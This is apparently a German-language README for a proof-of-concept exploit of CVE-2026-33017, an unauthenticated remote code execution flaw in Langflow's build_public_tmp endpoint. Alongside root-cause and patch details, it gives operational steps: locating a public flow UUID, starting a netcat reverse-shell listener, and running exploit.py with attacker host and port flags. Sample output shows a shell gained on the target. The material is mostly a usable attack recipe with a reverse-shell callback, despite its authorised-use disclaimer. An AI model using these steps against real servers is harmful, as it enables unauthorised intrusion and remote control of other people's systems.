
PoC-Exploit für CVE-2026-33017: nicht authentifizierte Remote-Codeausführung in Langflow über die Injektion einer bösartigen benutzerdefinierten Python-Komponente, mit integriertem Reverse-Shell-Listener.
Autor: dynamo2k1
Schweregrad: Kritisch
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 ist eine kritische, nicht authentifizierte Remote-Codeausführungs-Schwachstelle in Langflow, einer Open-Source-Plattform zur visuellen Erstellung von LLM-Anwendungen und KI-Workflows.
Der anfällige Endpunkt build_public_tmp akzeptiert ohne Authentifizierung ein vom Angreifer bereitgestelltes data-Feld im Anforderungstext. Dadurch kann ein Angreifer eine vollständig benutzerdefinierte Flow-Definition einschleusen, die eine bösartige Python Custom Component enthält, deren Code während des Build-Prozesses auf dem Server ausgeführt wird.
Es sind keine Anmeldeinformationen erforderlich. Es wird nur eine gültige Public-Flow-UUID benötigt.
| Status | Version |
|---|---|
| Anfällig | Langflow < 1.9.0 |
| Behoben | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
Dieser Endpunkt ist dafür vorgesehen, Public- (gemeinsame) Flows ohne Authentifizierung zu erstellen. In anfälligen Versionen akzeptiert er außerdem ein vom Angreifer kontrolliertes data-Feld im Anforderungstext, das direkt an die serverseitige Build-Logik übergeben wird — einschließlich eingebettetem Python-Code in Custom Components.
pip install requests urllib3
Durchsuchen Sie die Ziel-Langflow-Instanz und suchen Sie nach einem gemeinsamen/öffentlichen Flow. Die UUID erscheint in der URL:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
Oder verwenden Sie den integrierten interaktiven Listener (kein separates nc erforderlich):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Grundursache: build_public_tmp vertraute dem data-Feld aus dem Anforderungstext, anstatt ausschließlich die serverseitig gespeicherte Flow-Definition zu verwenden.
Patch: In Langflow 1.9.0 wurde der Parameter data aus build_public_tmp entfernt. Über diesen Endpunkt können keine externen Flow-Definitionen mehr eingeschleust werden.
Patch-Commit: 73b6612
Dieses PoC wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche schriftliche Genehmigung haben.
| Flag | Beschreibung |
|---|
--url | Basis-URL des Ziel-Langflow-Servers |
--flow-id | Öffentliche Flow-UUID |
--lhost | Ihre IP-Adresse für den Reverse-Shell-Callback |
--lport | Ihr Listener-Port |
--listen | Den integrierten Shell-Handler anstelle von externem nc verwenden |
--timeout | HTTP-Request-Timeout in Sekunden (Standard: 30) |